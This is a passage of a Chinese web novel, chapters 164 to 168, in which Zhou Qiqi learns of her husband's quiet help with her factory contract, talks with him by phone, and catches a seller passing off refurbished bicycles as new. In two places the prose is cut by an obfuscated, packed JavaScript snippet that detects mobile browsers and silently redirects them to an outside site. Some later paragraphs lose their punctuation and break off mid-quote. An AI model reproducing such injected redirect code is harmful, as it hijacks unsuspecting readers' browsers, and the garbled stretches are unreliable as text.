她满脸兴奋,仿佛已经看到了未来的美好生活。 一千块,翻十倍就是一万块,二十倍可就是二万块钱。 爸妈攒了这么多年,家底都没有这么多,一听就知道是大话。 可自家这个小妹从就是被宠着长大的,对钱一点概念都没有,竟然一点都听不出来。 “行...” 林彦从牙缝里挤出这么一个字来,对这个妹夫刚燃起来的希望又瞬间破灭了。 他默默想着,这个许树究竟给妹妹灌了什么迷魂汤,让她迷糊成这样? 必须得好好把这人调查一下才行。 但无论如何,这个从小被全家宠到大的妹妹,他怎么能不心疼呢? 第二天一大早,太阳刚露出半个脑袋,军属区就热闹起来了。 两条金灿灿的巨龙在阳光下翻腾跳跃,狮子也跟着锣鼓的节奏做出各种俏皮的动作,惹得围观的人阵阵喝彩。 往常部队里提倡节俭,结婚都办得简简单单,像这样请舞龙舞狮的队伍,实在是难得一见。 不少人都从家里出来,站在路边看热闹。 孩子们追着舞龙舞狮跑,大人们则三三两两地聚在一起,议论纷纷,都有点羡慕。 这可让眼看着就要到中午了,舞狮队伍要迎着林瑶去礼堂。 林瑶在屋子里补了补妆,对着镜子左右端详了一番,顺道以命令的口吻对着许枣说道。 “枣儿,你帮嫂子把那条红色的毛衣裙拿过来,就是有半截袖的那件,我要换上!” 这几天,许家人对林瑶是卑躬屈膝,好声好气的伺候着,许枣更是跟丫鬟似的,忙前忙后的,一句反驳的话都不敢说。 但这会儿,许枣愣了一下,支支吾吾道。 “嫂子,那件我瞅着有点脏,昨晚就顺手帮你洗了,晾在后院了,这会儿还没干呢!” 她指尖捏着衣角绞了绞,眼神有些躲闪。 “我就让你看一看,你咋还就自作主张给洗了呢?!那可是我哥带回来的衣裳里,最时髦的一件!在花城可抢手了!我就想着典礼的时候穿呢!” 林瑶一下子就有点不高兴了,但也知道今天是大喜的日子,摆了摆手说道。 “算了,典礼要紧,你帮我另一件红裙子拿来吧。” 说完还板着脸教训许枣道。 “以后不许动我衣服,知道了吗?!” “哎,知道了。” 许枣嘴上这么回答着,眼珠子却是滴溜溜转了转,也不知道在想啥,转身就去拿裙子了。 很快,林瑶就换上了新衣裳,镜子里的她穿着红色的裙子,显得格外漂亮。 去礼堂的路上,她还特意让师傅们绕路,去周柒柒家门口吹吹打打了好一阵子,目的就是为了气气周柒柒。 可却没想到,吹打了半天,里面都没动静。 跟在她旁边的邱春芳翻了个白眼说道。 “她知道你自己今儿要丢脸,早早就带着家里孩子,还有那两个跟班的出门了!” “那不是白显摆了?” 林瑶嘟囔了一声,不过看着周柒柒家紧闭的大门,却是说不出的得意。 “估计是怕看到我结婚这排场,心酸的掉眼泪吧!” 在她看来,沈淮川连个婚礼都没有给周柒柒,对她也不过那样,而自己现在有这么风光的婚礼,也算是赢过她一回了。 第164章 心有灵犀的电话 却没想到,这会儿,周柒柒正坐在G市市委小院,翟副市长的办公室里呢。 林瑶想着,周柒柒这是知道她今儿结婚,特意带着孩子,和她那两个“跟班”躲出去了。 却没想到,人家几个压根把今天是她婚礼的事儿给忘了。 今儿可是周六,舟舟和向海,一个送去美术班,一个送去数学班。 朱莹莹去出版社交稿子,邓翠香家新的一批酱菜腌好了,带着向阳一块担着担子卖酱菜去了。 至于周柒柒,则是和张国强副厂长说好了。 关于承包生产线和贷款审批的事儿,翟副市长专门抽了个空,亲自见一见周柒柒。 刚一见面,周柒柒还有点紧张,这毕竟是G市的二把手,是自己上辈子完全不可能见到的大人物。 翟副市长像是看出了周柒柒的紧张,没直接谈公事,而是拉起了家常,直接说起了沈淮川。 周柒柒被他说出的话,震惊地无以复加,瞪大了眼睛问道。 “翟副市长,您是说...您认识我老公沈淮川?我的事儿,是他告诉你的?什么时候的事儿?是上个礼拜吗?” 怪不得沈淮川闹别扭的时候,跟她说,“你怎么知道我帮不上忙?” 合着他早就知道自己合同出事的事儿,翟副市长,也是他帮着给联系的。 周柒柒心中涌出一阵暖流,却见翟副市长坚定地摇了摇头。 “不不不,不是上个礼拜,是什么时候来着,张秘书,你还记得吗?” 张秘书正端着茶杯过来,扶了扶眼镜。 “是上个月五号,早上的,当时沈团长还受着伤呢!穿着个病号服就来咱们办公室了。” 他这么一说,翟副市长立马就想起来了,点头道。 “对对对!身上还缠着压力带呢,我还以为这小子是有啥十万火急的大事儿要找我呢,没想到,他只是拿了份合同出来,说是媳妇的,让我帮着看看条款有没有问题!” “啊?” 周柒柒完全没想到,会是那个时候。 她记得,她当时把合同拿给沈淮川看,只是觉得自己应该尽义务给他报备一下自己的工作而已。 没想到,他却暗中替自己考虑了那么多... 对了! 当时她给沈淮川合同的时候,只是装在了档案袋里头,第二天拿的时候,合同就被装在了公文包里... 原来,他对她的关心早就藏在这些细节里,只是她自己一直没注意到罢了。 “这小子,” 翟副市长敲了敲桌面,语气里带着点无奈的亲昵。 “知道我大学读的法律,这小子愣是把我当法律顾问了,捧着合同逐字逐句问,连违约条款里的标点符号都不放过,末了还说‘翟叔,这是我媳妇的事儿,您可得帮她把把关。” 周柒柒的耳根子发烫,嘴角不自觉地上扬,心里甜滋滋的,语气轻快。 “不好意思,翟副市长,回头我说他,咋能这么麻烦您呢!” 翟副市长摆了摆手道,脸色认真起来。 “可别这么说,淮川是战斗英雄,我早就跟他说过,有事儿尽管找我。再说了,要不是他,我还不知道第一服装厂的事儿呢。” 他看着周柒柒,眼中满是赞赏。 “柒柒同志,你的想法很大胆,也很前卫,一己之力,挽救了一个濒临破产的国营厂,值得表扬!” 周柒柒连忙摇头,脸微微发红。 “翟副市长,这不是我一个人的功劳,张副厂长和厂里的工友们都出了大力,我就画了几幅设计图而已。” “瞧瞧,” 翟副市长笑着看向旁边的张国强,“不愧是战斗英雄的媳妇,觉悟就是高!” 张国强一直坐在旁边,紧张得手心都出汗了,听到这话,连忙咧嘴笑了笑,却没敢说话。 翟副市长又转回身子,正色道。 “不过你也别谦虚,你的设计图我看了,很有想法。承包生产线的事儿,我亲自批了,不用走那些繁琐的程序。另外,我跟银行也打过招呼了,批给你五万元无息贷款,你就放心大胆地干,要是成了,咱们把这模式推广到全市去,让那些老国企也活泛活泛!” 五万元贷款!还是无息的!足够她一年的承包费,还有生产运营的费用了! 周柒柒心里一阵激动,刚想说点什么,张秘书轻声提醒。 “翟副市长,待会儿的会快开始了。” “好,那咱们就先到这儿。” 翟副市长站起来,伸手和周柒柒、张国强握了握,“有啥问题随时来找我,别不好意思。” 走出办公室,阳光更烈了些。 周柒柒摸了摸手里的批文,心里满是感慨。 沈淮川从来没跟她提过这些事,可却默默帮她解决了难题。 要不是翟副市长今天提起来,估计她一辈子都不知道呢。 想起他平时沉默却温暖的样子,她的嘴角又忍不住上扬。 算上今天,沈淮川已经走了一个礼拜了,这一个礼拜,她都有些睡不好。 今天知道了这事儿,更是躺在床上辗转反侧,怎么都睡不着,想着如果沈淮川在身边就好了,她好想跟他说说话,哪怕一两句也行。 也许是心有灵犀,正想着呢,家里的门就被人敲响了。 电话室的小李急着让周柒柒过去接电话,说是沈淮川打来的。 周柒柒着急慌忙地就过去了,呼哧带喘的,“你不是在野外驻训吗?怎么能打电话回来?” “慢点说,别着急。” 沈淮川的声音带着电流杂音,却格外清晰。 “这周的对抗赛刚结束,我带队拿了第一名,奖励一次打电话的机会。” 周柒柒有些惊喜,“还有这种奖励?” 电话那头静了两秒,忽然传来秦磊的大嗓门。 “才不是呢!这是团长用半天休息换来的!就十分钟!打完就要带队特...” 话没说完呢,就听见“哎哟”一声,接着是沈淮川的低骂,“滚蛋!” 周柒柒忍不住笑出声,指尖摩挲着听筒,心里却有点发酸。 “你都还没完全康复呢,怎么不多休息休息?胸口怎么样,疼不疼?” “一点儿也不疼。” 沈淮川的声音低下来,带着点她熟悉的沙哑,像是在她耳边说话一样。 周柒柒耳根一下子就红了,语调软了下来,“我才不相信你呢,你不老实。” 第165章 不许再说了 “我怎么不老实了?” 沈淮川轻笑一声,听筒里传来窸窸窣窣的声音,像是他在那边挪动身子,布料摩擦的声音带着点沙沙的电流声,格外清晰。 周柒柒想起上次在医院,沈淮川明明都伤成那样了,还硬说不碍事,结果转身就疼得冒冷汗。 忽然就气鼓鼓地抿紧嘴唇,指腹狠狠绞了绞电话线。 “你还嫌我有事儿瞒着你,自个儿倒好,多少事儿藏着掖着!” 她越说越气,声音不自觉地拔高。 “而且瞒了我那么——那么久!” 最后两个字拖得老长,带着点娇媚的蛮劲儿。 “那么久?” 沈淮川的声音顿了顿,像是被这两个字烫了一下,哑着嗓子问,“你见着李队长了?” 周柒柒一时没反应过来,“我说的是翟副市长,这里面怎么还有李队长的事儿呢?” 说完,不等沈淮川回答,她一拍脑门,自个儿想起来了。 “我知道了,我刚来家属院第一个月,去电影院门口摆摊的时候,哪些突然多出来的巡逻队,是你找李队长安排的?” 电话那头的声音软和下来,带着点不易察觉的笑意。 “不算安排,就是跟局长提了句,说现在外来人口多,人堆儿里容易出事儿。他们本就有这打算,顺水推舟罢了。” 这点倒是真的,上次周柒柒见到李队长的时候,他还说了,就因为这巡逻队的事儿,G市比相邻的几个市都要少发生许多案件,还遭到了省里的表扬。 周柒柒哼了一声。 “那你也可以跟我说一声啊,不然,我真都怀疑自己是公安局长的女儿了!” 想起当时周围人羡慕的眼神,还有些人背后嘀咕,说她有关系,搞得她哭笑不得。 “我只是想让你安心做买卖。” 沈淮川的声音里透着无奈,周柒柒甚至能想象出他皱眉的样子——右眉梢微微蹙起,眼角的细纹跟着牵出点温柔的弧度。 她心脏猛地跳了两下,赶紧清了清嗓子,想起正事儿又板起脸。 “那翟副市长的事儿怎么说?你上次伤成那样,还偷偷跑出院!等你回来我可得好好跟你算账!” 那边静了两秒,忽然传来布料摩擦的窸窣声,像是把听筒夹进了衣服里,声音压得低低的,带了丝哑哑的笑意。 “算账?好啊。不过你在病床边还欠我一样东西呢,记得一块儿还了。” “我欠你?” 周柒柒懵了,手指把电话线绕得更紧,勒得指腹泛白。 “啥时候的事儿?我咋不记得了?” “真不记得了?” 沈淮川的声音又低了些,听筒里的电流声好像都跟着重了几分,“嗯?” 就这一个“嗯”字,周柒柒的脑子“嗡”地一下,耳根子瞬间烧了起来。 消毒水的味道、雪白的床单、还有他掌心的温度,猛地全涌了上来。 那天他把她按在怀里,吻得她头晕眼花,末了却突然松开,喘着气说。 “这个是惩罚,谢我的那个……先欠着。” “我...我可没答应认罚,不算!” 周柒柒结结巴巴地反驳,手指把电话线绕成个紧实的线圈,勒得指腹发疼。 电话室的地板上有块凸起的木刺,她脚尖不停地蹭着,恨不得把那块木头蹭掉。 沈淮川却不肯放过她,声音又低了八度,混着电流的沙沙声,像块浸了温水的毛巾,轻轻擦过心尖。 “没关系,你不认罚,我自己取就好了,正好把我们那天没完成的事继续……” “什么呀...不许再说了...” 周柒柒她脸蛋通红,脚尖猛地蜷起来,慌乱地打断他,眼睛往对面窗口瞟了一眼。 电话室的小李正坐在那儿嗑瓜子呢,虽说隔得远,可这屋子静得能听见针掉地上,保不准人家耳朵尖,能听见一星半点儿。 沈淮川低低地笑了两声,清了清嗓子才正经起来。 “你今天见过翟副市长了?承包生产线的事儿,定下来了?” “嗯,定下来了。” 周柒柒松了口气,赶紧顺着话题往下说。 “翟副市长说全力支持,还说让记者采访登报纸,不过我没接受。” 她住的是大院,人多眼杂,大部分军嫂又都没有工作,经常聚在一起闲聊。 恨人有,笑人无,都是再正常不过的了。 她虽然不怕被人议论,也不在乎被人议论。 但品牌的事儿,才刚起步,多一事不如少一事。 再加上,现在许家人都还在军属区呢,要是知道她搞了生产线赚了钱,还不得跟苍蝇似的扑上来? 到时候给她带来的麻烦,可就不是一星半点了。 沈淮川沉默了片刻,声音里带了些担心。 “你想得对,我不在家,少跟他们掺和。” “知道了,你别操心。” 周柒柒吸了吸鼻子,故意把声音放轻快。 沈淮川又问起了舟舟。 “还有舟舟呢?她怎么样?今天是不是上美术班了?” 一提到舟舟,周柒柒的嘴角就忍不住往上翘。 今儿她送舟舟去美术班的时候,吴大师就在门口等着呢,她客客气气的和吴大师打招呼,结果没想到,吴大师半天都不吭声,就只默默地张着嘴瞅她。 周柒柒还以为吴大师是嗓子哑了或者哪里不舒服呢。 “结果吴老师说,这小老头自从上礼拜送舟舟下课之后,就开始默默练习唇语了,无论家里人怎么跟他说话,他愣是一声不吭,可把吴家人给逼疯了。” 沈淮川笑出声来,声音里带着暖意。 “是吗?这老头儿,还挺有意思。” “可不是嘛!” 周柒柒捂着嘴也乐了。 “吴老师一家子就盼着舟舟去上课呢,也就舟舟能治治这小老头儿了!晚上我去接的时候,一家子都舍不得放舟舟走,还非得留我们在家吃过饭了才让走的!” 沈淮川又问道。 “那么晚,那你怎么回来的?还是搭赵大梅的驴车吗?” “没有没有,吴老师家里给送回来的,她们美术协会有车。” 周柒柒摇了摇头,把大梅姐换营生的事儿说了,顺道又说起来交通工具的事儿。 “对了,今天翠香姐的酱菜卖的可好了,担出去两框子,一上午就给卖完了,都不够卖的,所以她说想买一辆三轮车呢,胡春晓那边说是能找到门道,我想着,要不咱们也买俩自行车好了,我问过了,没票的话差不多得两百块钱左右。” 现在赵大梅眉头要去批发市场工作,时间上对不上,得另外做打算了。 “好,你定就行,挑贵的买。” 沈淮川答得爽快,“等我回去,教你骑车。” 周柒柒早就会骑自行车了,下意识地就想说“不用”,但是才蹦出一个字,立马又硬生生地转了话头。 “不...我是说,不难吧?我可不想摔着了。” 她说完就担惊受怕地握着听筒,生怕沈淮川听出什么来。 还好沈淮川只是低低地笑了笑,声音像浸了蜜一样。 “不难,你这么机灵,肯定一学就会。” 周柒柒安下心来,笑道,“我哪儿有那么厉害?” 正说着呢,就听沈淮川传来嘈杂的背景音,有人喊。 “沈团长,打完电话没有?要开拔了,估计很快没信号了。” 第166章 谁家的倒霉蛋 周柒柒心里咯噔一下,手指把听筒攥得死紧,声儿都带了颤。 “咋这么快?不是说有十分钟吗?这才过了多会儿啊?” 她还有一肚子话没说呢! 想问他伤口有没有发炎,吃饭是不是按时,夜里冷不冷。 可那些关切的话语涌到嘴边,却都化作了急切又琐碎的叮嘱。 “你那伤还没长好利索,记着按时吃药,胸前左半边可不敢使猛劲儿,还有” “柒柒,我都记下了。” 沈淮川的声音从听筒里传来,带着丝丝缕缕的眷恋,“照顾好自己和舟舟,等我回来。” 话音刚落,电流声突然刺耳地变大,听筒里“滋滋”的杂音瞬间盖过了沈淮川的声音。 周柒柒急得直拍话筒,扯着嗓子喊道:“沈淮川!沈淮川!” 她就那样呆呆地握着听筒,眼神空洞地望着前方,直到手指被听筒压得发麻,没了知觉,才缓缓松开手。 “嫂子,电话打完啦?” 小李瞥见她失魂落魄的模样,咧着嘴露出一口大白牙,笑盈盈地递过来一颗大白兔奶糖。 糖纸上印着喜庆的囍字,一看就是林瑶今儿发的喜糖。 周柒柒有气无力地冲他摆摆手,强打起精神说道。 “刚刷过牙,不吃啦。我先回了啊小李,谢了。” 小李却没收回手,又追着递过来一个手电筒。 “客气啥嫂子,这手电你揣上,夜路别摔着。” 周柒柒这才反应过来,自己刚才急急忙忙跑过来接电话,根本没顾上拿手电筒。 她小跑着回屋拿了自己的手电,又折返回来把小李的还给他,来来**折腾了好一阵,才终于躺回床上。 虽说和沈淮川只通了短短几分钟电话,可心里那股空落落的劲儿,竟像是被暖炉烘过似的,渐渐消散了。 她蜷到床上沈淮川常躺的那半边,鼻尖还能隐隐闻到残留的皂角味儿,没多会儿就沉沉睡过去了。 第二天天刚蒙蒙亮,天边才泛起鱼肚白,周柒柒就轻手轻脚起了床。 她挽起袖子,熟练地给自个儿和舟舟烙了鸡蛋饼。 草草扒拉完几口早饭,她拎着水壶就往屋前屋后的花圃走去,细心地浇起了水。 邓翠香跟朱莹莹进院时舟舟正坐在小板凳上小口小口抿着温热的羊奶呢。 “哟!” 邓翠香把手里的布包往桌上一放挤眉弄眼地调侃。 “我还当柒柒今儿又得挂着俩黑眼圈呢特意揣了俩包子过来合着舟舟都开饭了?太阳打西边出来啦?” 这阵子男人都不在军区里仨女人常凑一块儿搭伙吃饭都知道周柒柒夜里总翻来覆去睡不着。 “叔叔.” 舟舟喝完最后一口奶白嫩的小手在嘴边比划出听筒的模样还晃了晃大眼睛亮晶晶地看着大人们。 邓翠香一看就明白了掏出手绢轻轻给她擦嘴角顺口问道。 “沈淮川打电话过来了?这次驻训这么快就结束了吗?” 周柒柒在院后头听见动静赶紧浇完最后一瓢水把水桶往墙根一靠笑着迎出来。 “没呢翠香姐只是第一阶段带队的对抗赛结束了淮川拿了第一名奖励了一次打电话的机会。” “还有这好事?” 邓翠香咂了咂嘴转眼瞅着朱莹莹忍不住叹气。 “唉我家那口子没出息这么些年就没拿过一回第一电话是压根没打过。莹莹你家老王呢?” 朱莹莹捂着嘴笑眉眼弯弯的。 “他那人你们又不是不晓得干得多说得少工作上的事儿从来不和我叨叨。” 邓翠香嘴上叹着“真羡慕”眼角却溜出点幸灾乐祸的笑。 “沈团长这么疼媳妇想着给媳妇电话保准是铆足了劲儿争第一呢!也不知是哪个倒霉蛋带的队伍撞上了指不定被揍得多惨!” 正说着呢隔壁院儿突然爆出撕心裂肺的哭嚎。 “我要吃鸡蛋!我要吃鸡蛋!” 邓翠香耸耸肩 “得邱春芳她家那小子又开始唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879352|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独角戏了!咱赶紧拾掇拾掇走省得听着心烦。” 胡春晓昨儿给联系了个师傅说是有不用票的三轮车和自行车仨人打算去瞅瞅。 “行咱们走吧正好赶采购车。” 周柒柒简单洗了个手转身去屋里拿包。 隔壁赵耀祖一直搁哪儿又哭又嚎的“我要 吃鸡蛋,我要吃鸡蛋! 听得邓翠香眉头直皱,“这邱春芳也不知道管管! 周柒柒一边给舟舟系围巾,一边笑着说道。 “我早上起来好像看见她出门了,她和李红娟今儿卖花去了,估摸是二萌在家带孩子呢,她有招 “啥招啊? 邓翠香话刚问出口,就听隔壁传来尖利的女声,“就不给你吃鸡蛋!就不给你吃鸡蛋! 紧接着“啪 朱莹莹跟邓翠香听得直咋舌。 “还能这样?这二萌可真是厉害,她也不怕被邱春芳知道了。 周柒柒伸手揽住俩人肩膀压低声音。 “那谁知道呢,反正咱们可得帮二萌保密。 “成,没问题。 三人对视一眼,连带着沈渡舟,都齐刷刷竖起食指贴在嘴唇上。 四个人很快坐上采购车去了城里,胡春晓给介绍的商人,是个开修自行车小摊的老师傅。 老师傅穿着一身洗得发白的军绿色旧棉衣,鼻梁上架着一副圆形的小眼镜,带着几人在巷子里拐了好几个弯,才把她们带到一处小院子里。 “我这些车,都是自行车厂里倒腾出来的,绝对都是新的! 老师傅拍着胸脯保证道。 三人过去仔细看了看,车确实都是新车,擦洗得干干净净的,有凤凰和飞鸽两个牌子的。 “确实不错!凤凰牌的,要多少钱啊,老师傅? “自行车三百五十块钱,三轮车四百块钱! 老师傅报出价格。 “什么?这么贵? 三人都吓了一跳,这可比昨晚胡春晓说的要贵差不多一半了! 第167章 便宜“尾货” “这太贵了吧?” 昨晚胡春晓和她们说。 百货大楼里,要票的自行车,标价大概一百五十块,三轮车贵一百块,大概二百五十块钱。 她们物资局的科员小李路子广,可以搞到不要票的,但是价格要贵一点,自行车两百块钱,三轮车两百五十块钱。 不过小李现在手头没现货,见她们要的急,就给介绍了自己一个亲戚。 邓翠香、朱莹莹和周柒柒带着沈渡舟这个小娃娃,来到陈师傅这儿。 心里都琢磨着,就算价格跟熟人有点出入,也贵不到哪儿去。 可陈师傅一开口报价,几个人都愣住了。 陈师傅穿着件洗得发白的蓝布褂子,袖口卷到胳膊肘,露出半截晒得黢黑的小臂。 他那只沾着机油的手“啪”地拍在车梁上,指节敲得凤凰车标当当响。 他说话时,眼珠子在邓翠香、朱莹莹和周柒柒,还有沈渡舟这个小娃娃脸上滴溜溜转,眼角的皱纹堆成一团,笑得格外热络。 “喏,瞅清楚喽,这可是凤凰26型!钢圈亮得能照见人影儿,漆水跟镜面似的!就这成色,你们就是手里攥着票去百货大楼买,也得排上四五个月的队才能买得到!” 他顿了顿,压低声音接着说。 “再说了,如今那票比金疙瘩还难弄!我这儿现成的车,一辆才三百五!这还是看在你们是小李朋友的份上——要搁外头黑市,没四百块您想都别想!” 几个人围着车子慢慢转悠,心里都有点喜欢。 尤其是邓翠香,她的手指在三轮车把上摩挲着。 她男人是个营长,津贴比沈淮川团长少一大截,一个月满打满算才九十块。 家里俩半大小子正是能吃能造的时候,每个月还得往老家寄钱。 前两个月刚攒钱盖了厕所,又给大儿子姜向海交了数学班的费用,柜里头的铁皮盒子早就见了底。 虽说她出去卖酱菜攒了俩钱,可一下子要拿出五百块,实在是困难。 她盯着车斗上没撕干净的油纸,喉结轻轻滚了滚,叹着气说。 “车是真好车,就是.这价儿,实在有点顶不住。” 朱莹莹在一旁瞧着她犯难的样儿,嘴唇动了动刚要开口“翠香 姐我这儿能借.”就见周柒柒冲她一个劲地摇头还使劲儿使眼色。 周柒柒自己则伸出手指尖在凤凰车的车梁上划了道语气里满是惋惜。 “陈师傅您这价儿开得也太狠了。咱们都是普通人家哪儿担得起这么贵的车啊?算了算了不买了不买了走了走了!” 说着拽着两人就走边走还边大声念叨“可惜了!要是便宜点就好了!” 邓翠香被拽得一个趔趄心里正纳闷周柒柒这唱的是哪出就听见身后传来“蹬蹬蹬”急促的脚步声。 陈师傅追了出来额头上沁着层细汗喊道“哎哎哎别走啊几位!” 他张开胳膊拦住三人脸上的褶子皱成一团像是下了老大决心似的一拍大腿。 “你们是小李朋友也算是我的便宜咱这就算是自己人!我今儿就破个例帮你们这一回!” 邓翠香眼睛一亮惊喜地问。 “啊?真的?你愿意便宜卖给我们?” “不是不是.” 陈师傅嘴角抽了抽很快又堆起笑他左右瞄了瞄压低声音冲她们招手“跟我来。” 他带着四人拐到后头一个更僻静的小院推开一扇掉漆的木门。 里头光线昏暗得很一股子机油和尘土味直往鼻子里钻呛人的很。 周柒柒赶忙把沈渡舟往身后拽护得严严实实。 陈师傅摸黑拽开一根拉绳昏黄的灯泡晃了晃才亮起来照亮了墙根。 只见墙角码着一排自行车车身上落着厚厚的灰款式看着也有些过时可车铃上还蒙着塑料膜呢明眼人一看就知道是新车。 “你们瞧瞧” 陈师傅用袖子抹了把一辆车的车座。 “我这儿啊还有一批尾货也是厂里出来的新车就是灰多点拾掇拾掇跟新的没啥两样!价格也实惠自行车一百二三轮车两百!” 邓翠香一听就心动了。 “这个价太可以了!便宜好多呢也是新车就是有点灰!” 朱莹莹也跟着点头“嗯 陈师傅一看有戏脸上笑开了花搓着手问。 “您几位看中哪辆了 ?我给你们推出来试试。这一排都拿链子锁着不好一辆辆挪。” 他顿了顿又问“都会骑车不?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879353|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人齐齐摇头。 陈师傅搓着手笑。 “哟不会啊?没事没事你们先挑着挑好了我找三轮车给你们拉回去到家慢慢学!运费分文不取!” “那可真是谢谢您了陈师傅。” 邓翠香和朱莹莹对视一眼都觉得这师傅挺实在就准备掏钱买车了。 “别着急。” 周柒柒突然按住了她们的手。 她的声音不高却带着股子不容置疑的劲儿。 她从进了这小仓库就没怎么说话这会儿正蹲在一辆自行车跟前手指头在车架上轻轻敲着像是在琢磨啥。 邓翠香心里犯起了嘀咕周柒柒这是咋了?不是说好了要买吗? 就见周柒柒掏出个**电筒抬眼看向陈师傅开口道。 “陈师傅” 手电筒光柱晃了晃停在自行车的车座下方“您说这是厂里的‘尾货’?” “那还有假!” 陈师傅脸上的笑僵了僵随即又堆起笑来拍着胸脯保证。 “绝对的正经玩意儿你们这回可捡着大便宜了!” “是吗?” 周柒柒的手电筒往下移光柱落在车架的焊接点上。 “那凤凰自行车厂的手艺也不咋样啊这焊接点粗糙成这样焊疤还这么大.” 她的手指在焊点上轻轻拂过指尖沾了点黑灰。 “还有这漆面表面看着光鲜车座下头的漆色暗成这样根本就不是同一批出来的东西吧?” 邓翠香顺着光柱仔细一看还真如周柒柒说的那样车座底下的漆色发暗跟车梁上的亮红漆明显不一样。 她心里“咯噔”一下刚才那点欢喜顿时凉了半截。 陈师傅的脸涨得通红像是被人打了两巴掌嘴里还在硬撑。 “你这小姑娘懂啥自行车啊?胡说八道!尾货嘛自然是有瑕疵的!要不然咋能便宜那么多?你别污蔑我啊!不然我可找**了!” 周柒柒冷笑一声手电筒的光柱“唰”地一下照到了车架号上。 “行啊!那就找**呗!我二叔就在自行车厂质检科他跟我说过真厂里处理的尾货就算有瑕疵车架号都清清楚楚怎么查都查得出来。” 她顿了顿抬眼看向陈师傅眼神锐利得像把刀“要不我现在就去叫他和**一起过来看看?” 第168章 反将一军 陈师傅的身子猛地晃了晃,额头上豆大的汗珠子“啪嗒”一声掉在车梁上,在暗红的漆面上晕开深色的痕迹。 他张了张嘴,嘴唇不受控地哆嗦着,喉结上下滚动了好几下,愣是没挤出一个字。 刚才拍着胸脯打包票的神气劲儿,这会儿早跑得没影了。 “别别别!” 陈师傅赶紧摆手,声音都带上了哭腔。 “这确实不是啥‘尾货’,是我自己自己翻新的!” 他低下头,手指紧张地揪着褂子角,“可零件都是从厂里淘换出来的好零件,结实着呢!” “那可不一定。” 周柒柒缓缓站起身,双手抱在胸前,脊背挺得笔直,冷冷地盯着陈师傅。 她的声音不高,却像是带着一股无形的威压,让小仓库里原本就沉闷的空气,一下子变得更加压抑。 “最近市里不是在抓流窜的小偷吗?专门偷自行车的那种。” 周柒柒故意拖长了声音,一个字一个字地往外蹦,眼睛紧紧盯着陈师傅脸上的表情变化。 “该不会都销赃到您这儿了吧?您和他们是一伙的,东西偷回来了,您拆了重组,当新的卖?” “没有没有!绝对没有!我胆儿小的很,哪儿敢做那种违法的事儿啊!” 陈师傅吓得连连后退,撞到了身后的自行车,发出“叮铃哐当”的响声。 他也顾不上扶,赶忙解释道。 “你看我卖那么便宜,就是就是收了些旧车,换了点零件翻新一下,想着赚点辛苦钱.” 他越说声音越小,到最后头都快埋到胸口了。 邓翠香在旁边听得心惊肉跳,手里的手绢都快被捏烂了。 她刚才还觉得陈师傅是个好人,没想到这车子竟然是翻新的,弄不好还可能是赃车! 她后怕得直冒冷汗,要不是周柒柒多了个心眼,她们这会儿怕是已经把钱掏出去了。 朱莹莹也气得胸脯一鼓一鼓的,她和邓翠香凑到周柒柒身边,着急地问道。 “咋办?他说的也不知道是不是真的?咱们要不要报**?” 周柒柒瞅着陈师傅满头大汗、狼狈不堪的样子,又用手电筒照了照车锁的位置,仔仔细细地端详了好一会儿,这才轻轻摇 了摇头。 “车锁瞅着,没有换过的痕迹,估摸着不是偷来的赃车,应该就是收来的旧车,他卖的也便宜,咱们报**了,顶多也就是个欺诈未遂,费时间费精力不说,可能最终也就是批评教育或罚款。” 她顿了顿,眉头微微皱起,接着说道。 “而且,这人是小李的亲戚,小李又是胡春晓介绍给咱们的,这要真报**了,小李和胡春晓跟前,咱们也没法儿说” “这确实” 邓翠香点了点头,她虽然不太懂做生意的门道,但人情世故这块儿,心里还是有数的。 朱莹莹狠狠瞪了一眼缩在一旁的陈师傅,不甘心地问,“那咱们就放过他了?” “那怎么可能?!” 周柒柒嘴角勾起一抹狡黠的笑,给两人使了个眼色,然后板着脸,一步一步缓缓走到了陈师傅面前。 “陈师傅,我们是信任小李,才来找你买车的,你倒好,拿翻的‘赃车’冒充厂里尾货来坑我们?还开那么高的价!要不是我懂点,我们今天就被你坑惨了!” 她故意把话咬得又重又响,语气里的火气直往外冒。 陈师傅缩着脖子,大气都不敢出,脑袋垂得低低的,心里估摸着自己今天算是栽了,要是进了**局,被当作小偷的同案犯,那可就要遭老罪了。 “不过.” 周柒柒话锋一转,声音忽然放缓,语气里多了几分商量的意味。 “你说你这么大年纪了,又是小李的亲戚,我们也不想把事做太绝,不然小李脸上也挂不住。这样吧,你也别扯那些有的没的了,痛快点便宜卖给我们,这事儿就算翻篇了。” 原本心如死灰的陈师傅,眼睛里突然亮起一丝希望,他“腾”地站起身,指着身后的一排车,忙不迭地说。 “行啊,没问题,只要你们不报**,这车你们随便挑,我按成本,不,我亏本卖给你们!” 说着就要把车推出来。 周柒柒双手叉腰,下巴往前头院子的方向扬了扬,冷哼一声。 “哼!你还想拿这些翻新车糊弄我们,想啥美事呢?!我们要的,是你前头院子里的那些正经车!” 陈师傅的肩膀一下子垮了下来,脸上满是肉疼和不舍,嘟囔着。 “啊?我拢共就那么几辆好车,还指望之后卖个大价钱呢! 周柒柒也不跟她废话,冲着邓翠香她们努了努下巴。 “那就没什么好说的了,咱们走!报**去! 话音刚落,沈渡舟就仰着小下巴,迈着小长腿要往外走。 